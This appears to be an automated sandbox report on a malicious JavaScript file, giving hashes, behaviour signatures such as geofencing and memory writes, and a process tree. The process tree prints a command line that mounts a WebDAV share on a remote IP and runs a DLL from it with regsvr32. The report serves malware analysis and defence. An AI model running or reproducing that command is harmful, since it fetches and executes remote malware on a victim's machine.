Analysis

  • max time kernel
    135s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/07/2024, 05:24

General

  • Target

    103591080224386905.js

  • Size

    5KB

  • MD5

    c8a7da225a7055a740ee1d1e1269fb44

  • SHA1

    2f3db53cf6e5497331b0934f6cc623746671f02b

  • SHA256

    62631fed2d86005525e66b6cba3d9b4f37a1fdb10722ca493a65955bc192e0cf

  • SHA512

    8e50386dfcd5eae526602819e24a322e9db5617cb74f6667b23376fe45313aaf809a4adc46bc7344459a055f3eac1daadfe3c1e5b5bbecebf76e3409d3efc010

  • SSDEEP

    96:vOfraUBhTpr3VgTFfINfi7XUbL+ICG72CWknV1c0suRnI4zMIAzi1HYXiH+1I1HX:sJTdGdAgZoXAkWoX+I

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\103591080224386905.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:740
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\3197678926535.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:824
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:3604

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads